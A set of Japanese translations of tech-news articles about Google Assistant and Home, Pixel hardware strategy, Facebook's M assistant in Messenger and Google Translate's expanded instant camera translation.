もちろんモバイル専門のイベントにAndroidメーカーが出展するのは理にかなっているが、CESははるかに巨大で広範囲にわたる化け物イベントだ。しかし、筋書きは一貫している。MWCでのGoogleは、端末上のAssistantがすべてだった。過去1年、Googleはスマートホームの主導権をめぐってAlexaと激しい戦いを展開してきた。2017年に同社は様々なHomeファミリー製品や新しいスマートイヤホンを発売するとともに、サードパーティー製スマートスピーカーへのAssistant搭載を進め始めた。

そのサードパーティーとの提携が、このイベントの鍵になりそうだ。同社自身のI/Oイベントのように新製品の発表があるかどうかはわからない。しかしCESは、様々なパートナーとの関係を次のステップへと進める理想的な舞台だ。Sony、HTC、Lenovo、LG等々、主要なハードウェアメーカーが勢ぞろいしている。
独自のアシスタントBixbyを開発しているSamsungは、Googleと手を組む動機付けが必ずしも強くないが、それ以外のメーカーにとってGoogleエコシステムの構築に手を貸すことで得られるものは大きい。Alexaと同じく、スマートスピーカーから他の家電製品へと展開を進めていくことはこの手のイベントでは当然の流れだ。

そしてGoogleにとって、これはAlexaの影から抜け出しスマートホーム分野での地位を確実なものにする絶好のチャンスだ。

[原文へ]

(翻訳:Nob Takahashi / facebook

Google Homeがマルチタスキングを学習した、二つの仕事を同時にできる

Googleのスマートスピーカーが今週すこしおりこうになり、マルチタスクができるようになった。これからの彼(彼女)は、二つの仕事を同時にできる。Googleからの発表はなくて、CNETが最初に気づいた。もちろん本誌も、そのことを現物で確認した。

GoogleはHome製品に力を入れているはずだから、なにも発表がないのは意外だ。でもこれは、本来愚直なデバイスの、便利な進化だ。数か月前のPixel 2の発表イベントでは、一つのコマンドに複数のアクションを結びつけて複数の場面を作る、Routinesという機能を予告した(SiriやAlexaにはすでにある)が、それとこれとは違う。

今回のマルチタスク機能では、あらゆるものをアプリからロードしなくても、単純に二つの仕事を頼むだけでよい。マルチといっても、今のところ二つだけだ。三つも四つも仕事を頼むと、彼(彼女)は混乱するかもしれない。二つの場合も、一つのセンテンスの中に二つのコマンドを入れたらいけない。別々のコマンドでないと、彼(彼女)は理解できない。いろいろ制約はあっても、Routinesのように事前設定が要らないから、とても便利な機能だ。

今はまだAlexaに相当差をつけられているが、スキルの機能で追いつこうとするGoogleの努力は悪くない。来月はHomeの高級機バージョンHome Maxが、発売される予定だ。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

PixelはこれからのGoogleそのものを体現したものだ、Andoroidではなく

pixel

Googleは今日、沢山のデバイスを発表した、しかし、ほぼすべてのものの中心として特に言及されたのはAssistantへの注力と、Googleのサービスの品揃えが提供できるものに関する説明だった。私は今、衛星回線を使ったキーノートを見た後、ここトロントでGoogleカナダの広報責任者であるAaron Brindleと、今のGoogleにとってハードウェアはどのような意味を持つのか、そして人工知能と機械学習に関する同社の仕事が、そのデバイスとどのように組み合わされるのかについて話し合った。

「今日の最も重要なメッセージの1つは、Googleがとても真剣にハードウェアを取っているということです」と、Brindleは語った。「Androidのエコシステムを通して私たちが知ったことは、イノベーションの速さは本当に驚くべきものだということです – 日々Androidを使っているユーザーが14億人もいるのですよ。しかし、ユーザの方々にベストAndroidを提供することが目的ではありません。私たちの狙いはベストGoogleをユーザーの方々に届けることなのです。だから、私たちはAIとMLの周りでやっている投資や研究のすべてを、ハードウェアの頭のてっぺんからつま先までに詰め込んでいるのです」。

Brindleは、AndroidのOEMパートナーによって行われている偉大な仕事がたくさんあることを認めた上で、Google自身は消費者に提示できる追加オプションを探し続けていると語った。また彼は、Googleがデバイスメーカーとしてハードウェアとソフトウェアに注力するだけでなく、ビジネス面でのセールスとマーケティングの重要性にも気が付いていることを示唆した。

「Androidの世界で、1つの機種がすべてをまかなうことができないことは事実です。私たちは何かをナットとボルトのレベル(基礎レベル)から作り上げるところに大きなチャンスがあると思っているのです」と彼は語った。「ソフトウェアとハードウェアだけではなく、マーケティングやサポート、そして小売の手段、私たちが何か欠けていると感じたもの全てです」。

私たちがこの先実際の小売店舗を見続けられるかどうかはともかく、Googleは既にウェブを通した機器販売においては、米国内で150ドル以上の購入をオンラインGoogle Storeで行った購入者に対して、新しい分割払いオプションを提供している。

Screen Shot 2016-08-25 at 1.53.58 PM

小売の経験は、Googleのハードウェアに対する新しいアプローチの一部だ。

Assistantがどのように働くのか、そしてその印象的な賢さはどこから得られるのかについては、BrindleはそれがPixelの中核であると述べ、そしてつい最近改善されたGoogleのAIの能力によって、こうしたことが可能になったことを説明した。

 「Assistantがこのデバイスの隅々までを満たし、またその中核であるとお聞きになったことでしょう。これが新しい電話の看板なのです」と彼は説明した。「これはAIの進歩に基づいています – 本当に驚異的な進歩です。最後のNexusからの1年という意味ではなくて、ここほんの数ヶ月のことなのです。例えば、翻訳や画像認識などの進化です」。

Brindleは、カナダのこの領域におけるリーダーシップを考えると、この国におけるGoogleの活動がこれらの取り組みの実際の中核であると述べた。

「そうした研究のすべてが、私たちがAIの中で行っている仕事から来ています。そしてAI領域の最高の研究者の何人かはここカナダを拠点としてるのですよ」と彼は続けた。「だから[Googleの特別研究員の]Geoffrey Hintonの機械学習に関する業績、特にニューラルネットに関する彼の仕事との統合と、それが私たちのAIの進化を促した方法、それが全てそこにあるのです」。

Googleのアプローチは、単にエンドツーエンドの携帯電話の体験を与えるだけでなく、そのプラットフォーム次世代体験を届ける包括的アプローチを作り上げようというものだ。それはAI(人工知能)とML(機械学習)を基礎として構築され、PixelやPixel XLのようなデバイスを完璧に適合した配信手段として利用しようとするものだ。これはまだ転換点そのものではないが、これは間違い無くGoogleの自身のアイデンティティとビジネスに対するアプローチの大転換を示唆するものである。

[ 原文へ ]
(翻訳:Sako)

Facebookは、Messengerアプリに「M」という名のパーソナルアシスタントを入れようとしている

pasted_image_8_26_15__10_21_am

FacebookがMessenger用の「アシスタント」を開発しているという噂をいくつも聞いていたが(例えばこれ)、今日(米国時間8/26)それらをまとめた詳細情報を入手した。Facebookは、デジタルパーソナルアシスタントの分野でApple、Google、Microsoftと真正面から戦うつもりだ。

Facebook Messengerの責任者、David MarcusがFacebookの計画について書いている

今日われわれはMという新サービスのテストを開始した。MはMessengerの中にいるパーソナルデジタルアシスタントで、あなたに代わって情報を見つける仕事をこなしてくれる。背後では人間によって訓練、指揮された人工知能が動いている。

市場にある他のAIベースのアシスタントと異なり、Mは実際にユーザーの代わりに仕事を片付ける。品物を買ったり、愛する人にギフトを届けたり、レストランや旅行の日程や打ち合わせの予約もできる。

今はMを大規模なサービスとして作り上げる過程の始まりだ。しかし、Messengerを使う人々が様々な仕事をそこでこなすことによって、人生の大切なことにもっと時間を使えるようにするための大きな一歩だ。

  1. 11890988_10156070655185195_4945843629380291283_n.jpg

  2. 11095239_10156070655280195_5860295573424755388_n.jpg

  3. 11898862_10156070655505195_4986153176672234416_n.jpg

MarcusがFacebookに入社して以来、Messengerアプリの開発が光速モードに入ったことは間違いない。支払いにしろ、単独サイトにしろ、このサービスがはるかに注目を集めるようになった。

AppleにはSiri、GoogleにはGoogle Now、MicrosoftにはCortana、そしてFacebookにはM。彼らがやっているのは、ユーザーがサービスに与えたデータを利用して、システムがユーザーについて知っていることに基づいて、ユーザーを助けたり何かを薦めたりすることだ。Messengerの中にアシスタントを入れることは、驚くほど賢いやり方だ。なぜなら、ライバルたちが命令をしゃべることを要求するのに対して、人々はメッセージを打ち込むことに慣れているからだ。

1月に買収したWit.aiは、Marcusが言う「人間によって訓練、指揮された」という部分を担当する。

GoogleとAppleが人口知能の純粋な科学にこだわっているのに対して、Facebookはパーソナルアシスタントの開発に人海戦術を取り入れることを選んだ。

決して安くはない。もしFacebookがこの機能の提供範囲を拡大したければ、殆どの要求を自動的に処理できるようになるまで人間がAIを訓練するのを待つか、大枚をはたいてアシスタントをアシストする人員を大量に雇わなくてはならない。

展開は遅くなる可能性が高いが、正式なレビューにむけて今後も注目していく。

原文へ
 
(翻訳:Nob Takahashi / facebook

標識などを瞬時に訳してくれるGoogle Translateが、対応言語を27ヵ国語に拡大

google_translate_hindi-2

自国語の通じない国を旅行したことはおありだろうか。最近ではそうした際に利用できるツールがいろいろと登場してきている。しかしそんな中でも、Google Translateが、No.1ツールとしての地位を獲得しているのではなかろうか。

手軽さでいってもナンバーワンで、6ヶ月前からはインスタント翻訳の機能も備えるようになった。これは、買収したWord Lensの機能を利用したもので、標識などにカメラを向けると、直ちに(かつ驚くほど正確に)内容を翻訳してくれるというものだ。

その機能はこれまで7ヵ国語で利用できるものだったが、このたび27ヵ国語に拡大されたのだ。これにより利用可能な言語は英語、フランス語、ドイツ語、イタリア語、ポルトガル語、ロシア語、スペイン語、ブルガリア語、カタロニア語、クロアチア語、チェコ語、デンマーク語、オランダ語、フィリピン語、フィンランド語、ハンガリー語、インドネシア語、リトアニア語、ノルウェイ語、ポーランド語、ルーマニア語、スロバキア語、スウェーデン語、トルコ語、そしてウクライナ語となった。iPad版およびAndroid版の双方で、アップデートの提供を開始したところだ。

インスタント翻訳および音声翻訳のスピードはニューラルネットワークを活用することで実現しているのだそうだ。仕組みについてはGoogle TranslateのソフトウェアエンジニアであるOtavio Goodがブログで説明している。なかなか難しい内容だが、テクノロジーに興味のある人には面白い内容だろう。

個人的には、ついには他言語を学ぶことなく、テクノロジーの力により理解できる時代になってきたのかと感慨深く思う。これはたとえばGPSに似ているだろうか。そちらの方も仕組みはよくわからないものの、手放せないツールとなっている。ついには外国語も「理解せずとも使える」段階になりつつあるのかもしれない。

(訳注:原文にはこの後、Google TranslateのプロダクトマネージャーであるJulie Cattiauへのインタビューが掲載されています)

原文へ

(翻訳:Maeda, H